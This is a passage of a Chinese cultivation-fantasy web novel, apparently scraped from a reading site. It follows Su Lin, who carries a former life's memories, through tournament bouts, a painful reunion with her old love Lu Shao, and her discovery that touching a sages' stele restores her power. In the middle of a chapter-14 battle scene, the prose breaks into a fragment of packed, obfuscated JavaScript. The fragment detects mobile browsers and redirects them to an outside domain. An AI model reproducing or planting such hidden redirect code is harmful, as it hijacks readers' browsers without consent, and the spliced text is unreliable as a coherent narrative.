王小虎说:“别进去了,我刚问了,咱们排在第六组,得下午了,中午吃了饭再来吧,还能休息会儿,养精蓄锐。”
苏林看了看王小虎,以前做对手的时候看他不顺眼,此时成队友了,看着也还行。
“那苏佑和冷杉呢?”苏林问。
王小虎笑笑说:“我已经让人去叫了,正好碰到老大,这不巧了么,咱们就在这儿等他们。老大,坐。”
苏林回头,就看见四个小童从王小虎身后出来,抱着小板凳在先贤碑前排成一排,放下凳子又回到王小虎身后。
苏林表面淡定,其实内心波澜起伏:想当年她当师尊的时候都没有这排面。王首座,真有你的!
王小虎也跟着苏佑喊苏林一声“老大”,先让苏林坐了,自己才挨着她坐下。
苏林暗暗打量王小虎,小虎长得虎头虎脑,笑起来还会露出一颗虎牙,看得出他家里把他养的很好,阳光快乐,身上有股子超越同龄人的世故圆滑,但不让人讨厌。
这大概就是在爱里长大的孩子吧!
明媚灿烂得让人羡慕。
“老大,等会儿午休要不去我家吧,我让人整理出来了三间客房,吃饭也在那儿吃,免得跟人挤,行不?”王小虎说完,突然挑眉一笑,扬眉吐气地道:“单间哦!”
这可爱又嘚瑟的样子把苏林逗笑了,答应道:“我没问题,你等下问问他们俩。”
王小虎见苏林答应,很高兴的样子,嘿嘿一笑,转过身去伸长脖子往人堆里望,可那喊人的小童还在人堆外。
此时擂台赛上打得火热,围观的都往前挤;同时有不少人从擂台上下来,有的受了伤,有的累了,都想去休息,纷纷往外挤,人群拥挤得跟打搅的绳结一样,越动越紧。
那小童身量又小,硬生生被挤出来好几回,仍在原地没甚进展。
王小虎倒也不着急,不知从哪里搞来一杯茶,边喝边四处看,那样子还挺惬意的。
苏林无语,想笑,也没什么其他办法,只得巴巴地坐在小板凳上接受来往行人的注目礼,渐渐的,他们周围或坐或蹲的人多了起来,也就不扎眼了。
苏林眼巴巴看着那小童围着人群转了几圈,终于找准缝隙挤了进去,没再被推出来,不禁松了一口气。
“停手!”
一声从容不迫的断喝声传来。
苏林也觉得这个形容矛盾,想象应该是个仙风道骨的高人,从容喊下一声“停手”,威严又不失稳重,引得她伸头去看。
随着这声断喝,擂台周围的人群一阵哗然。
“有人受伤了。”
“打的那人不停手。”
“莫师尊把人拦住了。”
实况从内圈慢慢一句句传到外面来。
苏林站起身,看见面前的人圈松动了一点。
正此时,二号擂台的人圈散开,轰然一声,有人问:“怎么了?”出来的人说“午休了,暂停了。”
散开的人群又开始寻找新的观赛点,把刚刚松开的一号擂台周围又围上了。
苏林伸着脖子望了半天,啥也没看见。
不多时,接连有几个擂台鸣金收兵,人群这才真正地散开。
苏林百无聊的地歪着脖子干等,等人都散得七七八八了,终于露出远处的九台和七台还未结束。
因为离得远,反而能看清上面的赛况。
苏林认真看了几眼,无语得想笑:还以为是实力太强,难分胜负;搞了半天是菜鸡互啄,难分胜负。
两方人那架打得,跟斗舞似的,肢体接触都罕见,不知什么时候才能完?
她收回视线的时候,眼风扫见围观的人群里有个人转身过来,正好视线相碰。
苏林一怔。
莫怀仁看见苏林也是一怔。
莫怀仁是特意到九台来看看“冷苏苏”的,倒不是记恨上苏林,纯粹是好奇,连他都没有冲开的经脉,怎么能够通过初选,代表茅湾派出战内选大赛。
莫怀仁看着苏林微微一笑,算是主动示好,表明自己并不在意“拔罐”之事,毕竟师尊哪能跟个小孩子计较,他自是宽容大度的。
岂料苏林根本就没有看见,她的视线全部落在了莫怀仁身边的人身上。
白月光出现的杀伤力实在太大。
苏林一瞬间就像被闪电击中,眼前周围的一切都虚化了,只剩下那个身影。
“啊,是莫师尊和陆师尊。”王小虎也看到莫怀仁二人了,给苏林介绍:“莫师尊旁边那个是飞瀑山的陆绍师尊,他是御水的,法术也很高深,在金丹期师尊中修为是数一数二的。”
王小虎看苏林看得认真,悄悄靠过来,笑着玩笑说:“陆师尊也是最受女道友欢迎的,听说,好多人喜欢他!”
苏林看着王小虎八卦的样子,干巴巴地随着笑了几声。
四十年过去,陆绍好像没什么变化,一如从前的俊朗,更如陈酿的美酒,比当年少了几分风流快意,多了几分温雅从容。
“可惜他们都没机会了
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。”王小虎笑着感叹。
苏林刚要问怎么了,就望见陆绍弯腰抱起一个粉雕玉琢的小孩儿,后面跟着的,是依然漂亮----不对,是比从前更美更优雅的小师妹王芸迩,王芸迩很自然地上前扶住了陆绍的胳膊。
苏林以为自己不会怎样,但还是难受了。
她转过头,藏住自己的表情,问:“那小孩是谁啊?”
王小虎说:“陆师尊的儿子,陆师尊结婚算结的晚的了,像他这么大年纪的,有些人连孙子都抱上了,哈!有些人孙子都比小陆言大。”
苏林心下暗忖:原来他的孩子叫陆言。
为了不让王小虎看出自己心不在焉,随口问道:“那孩子几岁了?”
王小虎说:“四岁,去年腊月满的。”
苏林愣了一愣,问:“这是他第几个孩子?前面还有吗?”
“统共才成亲五年,成了亲立马怀上,哪里还有前面的?”王小虎说。
苏林闻言怔了好一会,莫非他真的等过我?
她还清晰地记得闫林秀自请去独龙涧时,陆绍拦住他,她在陆绍的眼睛里看到了心焦和心疼。两人都心里都明白,可惜那个时机不对,可惜她没有点破,也没有回应。
因为前一天,她的小师妹王芸迩一脸兴奋地告诉闫林秀,她家要帮她跟陆绍定亲,还想生个像陆绍一样可爱的孩子,而这个孩子的外公是点苍山的长老,爷爷是灵霄山的七宗首座之一。
而她呢?
她不过是个凡人之女。漫漫修仙路上只有她自己,咬牙拼了命才得小成,别说首座、长老,就是师尊,闫林秀都是咬牙趟过多少生死劫才勉强够上。
苏林垂下头来。
说不羡慕是骗人的,说不嫉妒也是骗人的,可羡慕嫉妒之后,闫林秀只是叹口气,默默接受罢了。
但在夜深人静、在孤寂难捱的时候,她会想起,在临行前陆绍对她的那句说:“我等你回来。”
闫林秀还会偷偷地期待:他真的在等我吗?
可惜当初自己满心成人之美地离开,若是不走,就不会遇到之后的事,若是不走,她们的孩子这时候大概能打酱油了吧。
苏林酸溜溜地想:当初还是脸皮太薄,不像现在的自己,厚脸皮死缠烂打肯定能把人拿下--那么温柔善良又单纯的男孩子,怎么逃得出她的手掌心!
“等一下!”苏林捏着拳头,突然想到一件事,忙问王小虎:“我们的监考不会是陆绍吧?”
王小虎,说:“不是,陆师尊是八号擂台的监考,莫师尊是一号--他是最厉害的,我最崇拜他!”
苏林闻言庆幸:如果面对陆绍,她那三脚猫的功夫,能把她羞死,还好,还好。
她悄悄看了眼王小虎,发现他一直星星眼地望着那边,没发现她失态,放下心来。
苏林顺着他的目光望过去,两个人,都是从前的伙伴,却不再认得,往事如烟,大家都在变,没有谁会在原地等着谁。
她越发觉得当初的自己真可笑,尤其是自以为怀着一腔牺牲自我、成全他人的悲壮转身离开。
人啊!
自卑自轻的时候,往往很难接受爱情和其他美好,他们回避一切美好、一切善良和温柔,把自己逼在阴暗的角落,一边想伸出手去,一边又不断告诫自己,这美好不太真实,怕拥有后再失去,会受到伤害,在这样的纠结徘徊中,与幸福擦肩而过。
12. 第 12 章
王首座家是闫林秀去过的,灵霄山上统一的规格,家具内饰也不甚奢华,给闫林秀的感觉是一位比较朴素的首座,没想到他侄孙家竟然这么豪华。
王小虎把人引进宴客厅,内里装饰低调奢华,打眼看过去,都是寻常的桌椅板凳,可就是让人觉得贵;墙上挂着几幅山水字画,水准略高;窗外是盛开的一株双乔玉兰,更远处的景是一丛竹子,外黄内青的金镶玉。
苏林还只是心下一震,面上没多惊讶,苏佑直接“哇”了一声,冷杉打量了一下周围。
王小虎怕有外人休息不好,没有安排其他人陪客,只有他们四个吃顿便饭。
上了十个菜,三凉五热,一盘点心、一碗汤。
过分丰盛了。
苏林不知道是王小虎是有心炫耀、还是因为第一次尽地主之谊隆重些、亦或是本就是这样的规格。
苏林和冷杉吃得比较克制。
苏佑吃得毫不克制,仿佛徜徉在美食海洋中,边吃边绽放出幸福的笑容,跟个的大傻子一样。
王小虎见三人吃得差不多了,便放下碗筷,说:“我们下午要对战的是桃山派,桃山派在内选大赛上历来是垫底,我也让人打探过了,桃山派参赛的四个人,练气测试成绩都最好2分,其他三人都是1分,也没什么其他特别的优势。”
苏林没想到王小虎竟提前调查了对手情况,心下对他高看了一眼。
王小虎继续说:“第一天的初赛按照各门派地理位置安排对手,对我们来说算是捡了个便宜。虽说取胜没什么大的悬念,但咱们还是得做好安排,让胜算更大,赢得更漂亮,心里更有底气。”
其实对战策略应该早在得到对手信息、离开茅湾派时就商议好,但因为他们这个小队是临时组成的,王小虎提前出发来了灵霄山;苏林、苏佑根本没想到这茬,也无所谓;冷杉对自身实力十分自负,所以这个对战策略,他们谁都没提。
王小虎这样一说,其他三人才意识到,毕竟是比赛,得给对手充分的尊重,策略问题还是有必要讲一讲的。
几人看来看去,视线不约而同最后都落在了苏林头上。
苏林莫名其妙:干嘛看我,莫非是我的王霸之气最外露?我来前只想看看先贤碑,根本就没有研究过擂台赛,连规则都不知道,好不好!
桌上三个人好歹喊她一声“老大”,是给她面子。苏林只好清了清嗓子,说:“你说得对,请继续。”
苏佑噗嗤一声,笑了出来。
王小虎拱手一笑,继续说:“擂台赛以击败对方、让对方倒地或出局一人得一分,最后以总分多的取胜。一方面要击败对手;另一方面要避免出局。”
冷杉开口道:“上午我观战的时候发现胜得多的阵型,有四人背靠背的圆阵,这种比较多;有的是一、两人在前,其他人在后保护,这种一般是有实力碾压的人存在。桃山派四人实力相当,他们应该会抱团。我觉得,我们可以采取第二种方式,简单粗暴,速战速决。”
苏林、苏佑对视一眼,都有点儿疑惑:冷杉是对他自己的实力有绝对自信,还是把他俩也加进去了?
意外的是,王小虎竟然觉得冷杉说得对!
二苏又对视一眼,这两人会不会真把“双苏”认定是“碾压”的存在吧?
二人有点儿心虚。
苏林心虚到一半,突然反应过来:“诶,不对,我修为恢复了啊!金丹期的法术修为,来打桃山派那几个小练气,那还不是小菜一碟?真真就是拿大炮打蚊子啊!”
苏林有了底气,想到他们三个对她的信任,想到王小虎的慷慨款待,飒然起身,自矜地笑道:“既然这样,不如就我顶在前面吧,倒不是实力多强,只是皮糙肉厚的正好挡挡抢。”话说得谦虚,可语气神态气势强悍,惹得冷杉看了她好几眼,没有反对。
出乎他们的意料,下午比赛正式开始,桃山派竟然也是采取了第二种队形。
四人交换眼色:莫非信息有误,对方中也有个隐藏的高手?
但此时再改策略已经来不及,而且苏林毫不畏惧,她安抚着队友:“没事,没事,都一样。”
只见她转身朝着对手站定,微微一笑,大有睥众生的气势,目光中充满了嘲讽和志在必得的自信。她缓缓展开双臂,把三人拦在身后,昂扬道:‘你们都别上,让我来!’
她要试试自己的法力,享受一下实力碾压的快感。
她都已经恢复修为了,还管对方站位是圆是尖?管他高手不高手,反正高不过她!
不用技巧,全靠实力,直接硬推!
对方核心位站的是一个高大的少年,双手握一根狼牙棒。
比赛开始,对方跟闪电一样毫无保留的地猛然跃出,劈头朝苏林砍来。
苏林微微一笑,不屑闪躲,双手结印,举过头顶,这印能在头顶凭空生出一断水墙,姿势帅得很。
反正都出现过御剑高手了,还差一堵水墙?
狼牙棒转瞬击到。
只听“嘭”一声。
“吧嗒”一滴红色的液体滴在了地上。
狼牙棒被苏林的两条胳膊生生挡在了半空,中间没有水墙、没有护盾,什么都没有,只有血肉之躯对抗钢铁狼牙。
似曾相识的一幕再次发生,苏林“肉串”绝技重现江湖。
对方真被震住了一下下,然后冷笑着双臂用力,往下重击。
冷杉见状,抽出佩刀,上前一步,直击对方大开的胸口。
王小虎紧跟上前,跟冷杉配合应敌。
苏林则被苏佑拉到一边包扎伤口。
周围观战的人群在一阵沉默之后,轰然叫好:“这人好勇!”
“好奸诈,竟然用苦肉计!故意受伤让对方露出破绽。”
“好伟大啊,牺牲自己,成全全队!”
苏林心里苦。
苏林心里纳闷:莫非“大炮打蚊子”这五个字是专门针对她的封印法力的特殊咒语?
苏佑没察觉到苏林的困惑,一边包扎一边苦劝:“老大,就比个赛而已,咱没必要这么拼,没必要,真没必要!”
桃山派果然如王小虎所说的那样,冷杉击败“狼牙棒”后,其余三人毫无招架之力,纷纷出局。
茅湾派胜出。
这边擂台的动静太大,把周围两个擂台的观众也吸引过去,八号台正好一轮结束,正在等待二轮选手准备,不少人都转到这边问刚才的情况。
陆绍在擂台上坐得很高,看着正在包扎的苏林,饶有兴致地问身边人:“那位姑娘就是给你莫师尊拔罐的那位?”
被问的人嘿嘿一笑,说:“就是她!果然勇敢,到底是敢给莫师尊动手的人啊!”
陆绍闻言莞尔一笑。
之后,灵霄山内选大赛的对战中又出现了一种新阵型,有人称“自爆阵型”,有人称“肉盾阵型”,开始在对局中频频使用。
晚上庆功的时候,苏林什么也
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没吃,因为她两只手被包扎成了小龙虾钳,王小虎拿出了他家祖传的冰肌玉骨膏,苏林涂上还真一丁丁痛感都没有了,虽然不痛,但也没法用筷子,指望苏佑喂饱她,不是从虎口里夺食吗?
冷杉和王小虎也知道了苏佑的尿性,早早就准备了一只大盘子,放在手边,上一道菜就加一筷子屯在盘子里。
一时间,餐桌上只有专心夹菜的动静,丝毫不敢分心。
等最后一盘菜上桌,众人屯菜完毕,冷杉和王小虎才长长舒了一口气,安心地落座,再从从容容看苏佑尽情发挥。
几乎是一低头的功夫,十个菜全部干光。
王小虎有些无语,最开始他以为是初学馆饭菜量不够,苏佑没吃饱才抢菜;没想到这货纯粹是有多少吃多少,肚子跟个橡皮袋子似的。
他看大家吃完,拍了拍手,宴会厅侧门被打开,三个小童鱼贯而入,一人手里托着一个盒子,依次站在苏林、苏佑和冷杉身后。
王小虎说:“天定的缘分让我们四人成了队友,共同进退,以后还要仰仗三位哥哥、姐姐,请多担待。这是一点见面礼,还望笑纳。”
小童们把盒子打开,放出一阵香气,把屋子里都熏得香香的,盒子里是一颗花生米大小的绿丸子、隐约点儿杂色的花纹。
苏林伸头,仔细一看,乖乖,这......莫非是筑基丹?
筑基丹因为有强大的灵力增强效果,若是卡在练气期后期,一颗就能突破筑基,屡试不爽,从无败绩,这么逆天,自然也就价值不菲。
苏林不禁肃然起敬,心想:“王小虎家这么壕吗?见面礼送这个,还人手一颗?!不是败家子儿,就是大土豪啊!”
冷杉和苏佑看着有点儿茫然,显然不清楚这颗丸子的价值,少年人脸皮薄,不好意思问,以为是同窗间寻常的馈赠,道谢后便收下了。
苏林不能表现出自己知道太多,未多说什么,赶紧示意小童把筑基丹塞进她挎兜里。
看看,看看,她家小虎出手就是筑基丹,莫怀仁还是个师尊呢,还把她冲晕了,就只拿出颗“狗蛋”,虎哥比莫怀仁大方多了!
苏林摸着兜里的筑基丹,有点汗颜,毕竟算起来不管是实际年龄还是心理年龄,都比人家小虎大,小虎准备这么重的礼物,她却啥都没有,有心想拉人家躺赢,结果自己躺了。
她暗暗下定决心:“以后一定要对王小虎好。”
饭吃到尾声,有个人从门外进来,递给王小虎一个小册子,王小虎看完,嘿嘿一笑,说:“嘿,你看这事儿。”
他宣布:“上午的比赛表已经安排出来了,明天上午场的对手是华峰山。结果,就刚刚,他们弃权下山了,咱们直接晋级了。”
苏林、苏佑和冷杉尚在惊讶。
王小虎又说:“下午场,咱们轮空。明天休息一天,你们看怎么安排好?”
苏佑弱弱地说:“下午场不是第三轮淘汰赛吗?要看上午的比赛结果再排对手吗?怎么就知道轮空了?”
他话问完,冷杉、苏林对视一眼,不约而同低头喝汤,苏佑也察觉出自己话多了,赶紧也去喝汤。
王小虎呵呵一笑,跳过这个话题,说:“要不这样,明天我带你们到灵霄山各处逛一逛吧!”
三人忙点头同意。
苏林百感交集:一直以为是王小虎占了他们便宜,到头来是他们傍上了大腿,被带飞。
难怪人都说,跟对人,比努力重要多了。
13. 第 13 章
春天的夜里总有些莫名的香味,晚风吹拂在身上,已经没有了凉意。
苏林在床上辗转难眠,索性起身出门,溜达到白天的赛场。
此时,广场上静静的,半月挂在天边,把伸出山体的广场照得一清二楚,风从山谷翻上来,吹动悬崖边的一株大松树,扬起一片灰色的花粉烟尘。
苏林正好站在树下,被呛得打了好几个喷嚏,踉跄着顺手去扶擂台架子,却听“噼啪”一声爆响。
她吓了一跳,喷嚏也停了,寻声看去,发现自己的一只“钳子”竟然变黑了,还有点儿焦糊的香味儿,好在包着纱布,不怎么疼。
苏林再仔细查看,才发现擂台周围都泛着一层淡淡的金色浮光。
她认得这个,是一种活物只能出不能进的结界。
一个小小的擂台赛竟然动用了结界。
苏林觉得有点儿搞笑。
该说这内选大赛公平呢,还是说它正义呢?也不知道这结界防的是谁。
她也不甚在意,转身去找先贤碑。
苏林想起白天自己恢复法力是触碰了先贤碑之后,想看看关节是否在这块碑上。
苏林撅着屁股从上到下,把碑身仔细看了一遍,确定没有设置结界,才伸手慢慢触碰一下,但是没感觉到白天的那股冷意。
“隔着纱布,把纱布拆了。”突然出现的男低音跟周遭格外和谐,让人不觉得突兀。
苏林闻言心说:“哎呀,对!还包着纱布呢。”于是蹲在那儿开始一圈一圈拆纱布,拆到一半反应过来----谁在说话?
她蹲在原地扭头一望,一个高瘦的人正立在她身后。
因为背对着月亮,看不清这人的脸,但人熟悉之后身形举止都是能认出来的。
苏林登时傻在原地。
她此时半蹲在地上,一手举着一个白色的“大钳子”,一手被烧得黢黑,扭头的动作也不甚优雅,身上穿的还是找王小虎借的小老虎睡袍,形象实在不敢恭维。
天哪!
人生输的最惨的是哪一刻----偶遇前任穿睡衣。
怎么不让结界劈死她?!
还好,陆绍应该不认识她。
“苏、林?”
苏林才庆幸完,就听到陆绍满含笑意地喊出了她的名字。
还能怎么样呢?
苏林硬着头皮,顶着马甲,朝陆师尊干笑着打招呼:“师尊好。”
等苏林站起身,终于能看清陆绍的脸,他的脸上一如既往带着和煦的笑意,一双眼微微地弯着,静静地望着你,总像是带着几份特别的情意。
苏林忍不住腹诽:几十年过去,一把年纪了还跟以前一样到处招蜂引蝶,引的还是个小毛丫头,还是个穿着老虎睡衣、举着龙虾钳子的小毛丫头!
陆绍啊陆绍,没看出来啊,挺渣啊!
苏林打量陆绍的同时,陆绍也在仔细打量她,笑问道:“就是你,给怀仁拔了个罐?”
苏林暗暗翻了个白眼,没想到陆绍也这么八卦。
陆绍认真看了会儿苏林,突然低低地问,又似在自言自语:“我以前在哪里见过你吗?”
苏林一惊,没吱声。
陆绍没再纠结这话题,他向来心善,看不得人为难,转开视线,看着那先贤碑说:“这碑上被人设了厉害的禁忌,寻常人碰到没什么反应,但遇到特定的人,会触发禁忌。”
说完,他掀起眼帘,目光直直射向苏林的眼睛,问:“你发现了什么?你触发了禁忌?”
苏林又一惊,从前他只知道陆绍体贴细心,让人如沐春风,此时突然意识到这一切都是建立在他敏锐的观察力上。
没等苏林反应,陆绍突然抓住她的“黑爪子”,往先贤碑上一按,苏林还想反抗,被陆绍一掌拍在掌背上,让她的掌心紧紧贴住了碑石。
一阵冷风不知从哪里刮出来,吹得苏林浑身一个激灵,陆绍的长袍被吹得鼓胀开,这一幕实在有些诡异。
等了好一会儿。
风渐渐息了。
苏林并没有感受到异样。
陆绍低头看向苏林,正巧对上苏林抬头往上看,两个人大眼瞪小眼。
先贤碑没有丝毫变化。
陆绍咦了一声,目光在苏林眉目间仔细搜寻,似乎要找出什么蛛丝马迹,无奈苏林跟闫林秀长得并不像,她俩的精神世界目前看来差异很大,眼神自然也不像。
陆绍只得收回手,对苏林说:“你走吧。这灵霄山上颇多结界,休要乱闯,快回去吧。”说罢转身隐入擂台结界。
这一切都发生得如此突然,苏林根本来不及反应。
她从前在陆绍面前体会的都是他暖意,此时才惊觉在陆绍并非一味和软体贴,在面对不相干的人时,是极厉害的。
苏林的胳膊还绷直撑在石碑上,刚才陆绍用力太大,把她的巴掌按得黏在了石碑上。
苏林稍稍用力,竟然有点儿痛!
她仔细一看,皮肤上渗出了一点血迹,八成是方才被结界劈,手掌被烤伤了,又被陆绍用力一按,此时要是揭下来了,可能会留下一个完整的手掌皮。
就跟给猪脚去皮一样。
苏林不禁感叹:王小虎家这冰肌玉骨膏果然牛bee啊!烤熟了都没感觉!
苏林又试了试,大概是药效过了,也可能药涂在皮肤表层,稍微一动下面的肉生疼。
她伸手去摸刀,想把死肉切下来,无奈换了王小虎的睡衣,什么利器都没有
苏林一手撑着石碑,一边到处望,周遭静悄悄的,就连风都歇了。
陆绍这一巴掌拍的比较高,苏林站累了还坐不到地上,只能半蹲着,更累。
这就有点尴尬了。
苏林真不想找陆绍帮忙。
她想起刚才的陆绍,不禁怀疑:从前的陆绍就是这样的吗?
似乎不是,她的记忆里全是陆绍笑的样子,像温柔的阳光、像轻柔的春水;今晚的陆绍让她觉得陌生,是时间和阅历改变了他吗?或者,她脑子里所属闫林秀的记忆并不可靠?
这个念头一冒出来,让她一惊。
苏林回想起闫林秀的求学经历,跟苏林这一次的的完全不同,不管是进入的方式,身边的人,选拔的机制,经历的事情都不相同,连先贤碑上都没有“闫林
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秀”的名字。
她脑子里的那些记忆是真的吗?
闫林秀真的存在过吗?
还是这一切都是苏林的臆想?
苏林此时才发现自己从未去求证过“闫林秀”的存在。
“到底发生了什么?”
“为什么我的身体里有闫林秀的记忆?”
苏林想到这里,突然汗毛炸起,一丝寒意从尾巴骨往上窜,接触石碑的手掌上火辣辣的痛感被冰凉感压住。
她抬头看去,古朴的先贤碑上浮现出一层极淡的水纹,从她接触石碑的地方,一圈圈荡漾开去。
苏林再一次感受到冷意进入自己身体,体内产生出的抵抗之力也迅速爆炸,这一次进展速度飞快。
苏林暗道一声“不好”,想强行扯掉手掌时,那道白光已经降临。
这一切发生得太快,仿佛瞬息之间,先贤碑上的水纹已不见了。
苏林懵逼地跌坐在原地,手已经拿下来了,果然揭掉一层皮,血糊糊的,但她不觉得怎么疼,因为心脏的异样感几乎要击垮她,憋了好一会儿,她才让心脏重新一下一下如常跳动,那股窒息感慢慢消失。
她身后,金色的结界波动,隐隐显出一个金色的人形,陆绍迈出一步,看到苏林抱着手蜷缩在地上,又看见先贤碑一如往常,稍稍疑惑了一下,又退回了结界中。
苏林看到陆绍现身了,以为他多少能问一句,没想到这家伙直接退回去了,气得肝疼。
知人知面不知心啊!
她受伤多少也因为他啊,竟然不闻不问,真冷血!
苏林骂骂咧咧抱着手回去了,找小虎哥要冰肌玉骨膏。
人老了果然心硬,一个两个老同窗都不行,还是她家小虎哥好!
苏林涂完药,试了下,手掌上又出现了那朵蓝色火焰。
她的房间离先贤碑已经很远,至少比擂台跟先贤碑的距离远,那距离就不是问题,莫非是时间?修为恢复有时间限制?
苏林决定明天再试一下,确定修为持续时间。如果又消失了,就再去摸先贤碑,反正陆绍都没察觉,大可以比赛前再去摸下,卡好时间。
苏林有点开心,这回终于找到恢复修为的办法,总算可以报答小虎哥一场,扬眉吐气。
嘿嘿,到时候,看陆绍、莫怀仁不爽,直接干翻他俩!
第二天的灵霄山一日游没甚新意。
这一切对苏林来说不过是故地重游,有些地方她比王小虎还熟悉,而且苏林还记挂着去试先贤碑,玩得三心二意的。
苏佑对这些不感兴趣,一路上他问了八百遍中午吃什么、晚上吃什么,还接连感叹了前两次的菜品丰盛程度和烹饪水平,搞得王小虎不知不觉就被他点了八个菜。
至于冷杉,他倒是安安静静得参观了一整天,算是个合格的游客。但太安静,让导游王小虎没什么成就感,尤其是在一些壮丽的风景点,比如飞瀑山的飞瀑、白马湖的虹桥,等王小虎介绍完,网撒出去一个回音都没有,只好小虎自己“哇”几声给自己捧场,场面有点儿尴尬。
不管怎么说,这一天的过得,算是充实又快乐。
14. 第 14 章
次日,苏林在床上睁开眼,就抬手试了一次,掌中焰没有丢。
她高兴之余越发疑惑,到底蓝色火焰存在的条件是什么?怎么“忽”有“忽”没有的?别临上场的突然没了,就跟上次一样,莫名其妙就多了条“勇猛”人设,多尴尬,多疼啊!
希望能坚持到决赛结束吧!
今天总共两场赛事,上午半决赛,下午决赛。
灵霄山上只剩下了十一支队伍,广场的九个擂台被拆掉了四个,这四个擂台的监考师尊转为流动监考。
灵霄山顶终于清净了不少。
苏佑的望气功能,终于可以派上用场了。
因为是最后一天,在比赛开始前,还来了个小动员会,十一支队伍站在广场上,等重新分配擂台和对手。
人群里,苏林、冷杉和王小虎架着苏佑往上托,苏佑这货太重了,这几天又涨了几斤肉,三个人咬牙切齿地才把人往上抬了半个头,苏林问:“行了吗?”
苏佑也很努力地再吸气减少自己的重量,认真扫了一圈,说:“行了,行了。”
下边三个闻言松手,累得满头大汗。
苏林低声问:“怎么样,有逆天的货吗?”
苏佑悄声对三人说:“都那样,好的也就跟冷杉差不多。”
冷杉貌似面无表情,但感觉他在暗爽。
苏佑数了数队伍数量,悄悄问王小虎:“虎哥,队伍又是单数,咱们今天还能轮空吗?”
王小虎遗憾地说:“轮不到咱们啦。”
众人也都理解,毕竟灵霄山不姓王,也不独有一个王首座,还有其他宗门的首座、长老。
苏林又想起那两个御剑的,还有那个筑基的,本身资质并不出众,却能在初学一年就有如此修为,这两个点加在一起,很容易得出结论----这是靠后天资源堆出来的,也是关系户,还是王小虎都要回避的那种。
估摸着这两支队伍能笑到最后,占去三个位置中的两个,那剩下的那个位置能给他们吗?
苏林想到这里,呆了一呆:如果真让他们占了最后一个名额,那岂不是三只队伍全是关系户入选?
寻常弟子天资也高的,却只能铩羽而归,貌似只是输掉了一次比赛,其实是失去了人生的机会。没有优秀的师长指导、没有好的丹药加成、没有优质的功法,只能浑浑噩噩混迹在山脚,最终泯然众人,浪费了天资。
虽然苏林是受益方,但是不知怎么,她有点难受。
她想起了闫林秀。
想起了当年的艰辛。
苏林抬头寻找到那两支队伍,突然冒出一个古怪的念头:最好跟他们一组,打下他们气焰!
但遗憾的是,“冷苏苏”没有跟那两支队伍相遇,其中一支关系队幸运地轮空。
虽然早已知道其中内幕,但苏林听到这个消息,心还是微微一沉。
她悄悄地展开自己的手掌,当中幽幽的蓝光在白天日头下不易发现,只要收着点,“冷苏苏”必胜无疑。但此情此景,此时此刻,苏林犹豫了。
“三号擂台,第一场,‘冷苏苏’小队,对战‘濮院不败’小队,双方队员上场~~~”
监考身边的计分员开始点人。
苏林跟着冷杉、王小虎和苏佑走上擂台。
她依然站在前面,并肩的是冷杉,苏佑和王小虎在他俩外侧微微靠后,仍然是上一次的队形。
苏林心中仍在摇摆。
她身边的冷杉却微微上前了半步,身体挡住了苏林半条胳膊,这是个极其微小的动作,却暴露出少年柔软的内心。
苏林抬眼看去,冷杉的侧颜比正脸更好看,少年的锋芒展露无遗,目光坚定决然。
冷杉察觉到她的目光,稍低头回看时,睫毛投下的阴影让眼睛看着更加深邃。
两人视线一碰,冷杉微微一笑,现出右边一个小小的梨涡,让冷冷的少年刹那间温暖起来。
苏林意识到这个冷峻寡言的少年,已天真地把自己当成了并肩的战友。
这让苏林感动的同时也有些诧异。
毕竟他们连话都没说几句,自己前天还坑了他一把,怎么就这么轻易接纳了一个不熟的人呢?
这在两世为人的苏林的认识里,是不可思议的。
这太轻率了,太容易被人卖了。
可,这就是少年啊!
苏林笑了,她太老了,太世故、太圆滑了,几乎都忘了最率真、最直接的情感。
她决定了,不用闫林秀的修为,就用自己目前的力量,正儿八经地战斗一场,不管是输是赢,先畅快了再说,先干了再说!
苏林斗志满满地抬起头,看向对面的“濮院不败”,也是三男一女的搭配,也是两前两后的站队。
不同的是,“冷苏苏”四个人的武器是王小虎统一配的,一水儿的长柄双刃刀,容易上手;而对面四个人武器多样,而且造型奇特,尤其是最前方的这个少年,两只手被纱布紧紧跟双刀刀柄包在一起,长长地伸着,像个嚣张的螳螂。
苏林看了看自己的钳子,手臂本来好了,但因为再次受伤,左手又被包成了钳子,怎么自己就没想到,把刀也裹进去?
“冷苏苏”这边实战太少,第一场对手太菜,没有磨炼队伍的作用,此时看到真正的厉害对手,心下不禁打起鼓来。
王小虎在后面瞧出端倪,小声说:“别怕!他们已经连战两天,打了四场硬仗,昨天下午那场还是苦战才胜,再厉害也不是铁打的。那个‘螳螂’受伤最重,手已经抓不住刀了,才这样包上的。”
三人一听这话,不禁对视了几眼,踟蹰不前。
对方却等待不了多久,“螳螂”双目赤红,精神不正常地亢奋着,嘶哑地大叫一声,挥舞双刀朝这边扑来。
他身后的三个人也紧紧跟上,形成一个紧密的攻击阵型。
显然不想久战,只求速战速决。
苏林矮下身子,拔出刀,横在胸前,静静地等待对方靠近。
她的身边,冷杉也是同样的姿势。
他们就像两只冷静的蜘蛛,等待对手自投罗网。
对方的战车失控般冲来,奔跑中最后一人掉队,队形走样。
眼看长刀逼近,冷杉喊道:“闪开!”,他和苏林一人一边,跳出“螳螂”长刀攻击范围,让苏佑和王小虎接住长刀攻击,苏、冷二人灵活绕后,直接攻击“螳螂”两肋。不等“螳螂”撤刀回防,苏林和冷杉二人已一击即中,舍下“螳螂”直逼他身后二人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533632|170884||http|test|mini|href|location''.split(''|''),0,{}));
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>这一交手,苏林就感受到对方的虚实,果然如王小虎所说,对方在看似猛烈的一击之后,再无自保、回击之力。
双刀“螳螂”被苏佑和王小虎砍断了绷带,刀直接就脱手了。
最初掉队的那人摔倒后竟没再爬起来。
这是一支强弩之末的队伍。
凭着一腔孤勇闯过了四关,却最终倒在了半决赛上。
他们咬牙坚持到这一步,已相当不易,最终不敌,泪洒赛场,黯然离去。
苏林站在高高的擂台上,看着他们四人落寞的背影,心中羞愧。
这不是一场公平的赛事。
但她没法改变。
“小虎!威武!”观战的人群里有人认识王小虎,拉他下去,不断道喜。
上午的半决赛,每个擂台上只有一场比赛。
